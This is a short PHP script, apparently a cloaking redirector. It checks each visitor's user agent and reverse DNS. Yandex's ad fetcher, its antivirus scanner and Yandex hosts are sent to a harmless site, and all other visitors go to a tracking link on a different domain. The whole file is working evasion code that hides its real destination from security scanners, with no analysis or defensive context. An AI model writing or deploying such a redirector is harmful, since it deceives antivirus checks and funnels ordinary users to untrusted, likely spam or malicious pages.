<?php

$yafetcher = 'YaDirectFetcher';
$yaantivirus = 'YandexAntivirus';
$UA = $_SERVER['HTTP_USER_AGENT'];

$h1 = 'lwdc.br05.gi9-48.host4.24187.americanis.ne';
$host = gethostbyaddr($_SERVER['REMOTE_ADDR']);

if (strpos($UA, $yafetcher) || strpos($UA, $yaantivirus) || strpos($host, $h1) || strpos($host, 'yandex')) { header('Location: http://www.techport.ru'); }
else { header('Location: http://kool-nzt.ru/robotrack/?subid=29287'); }

?>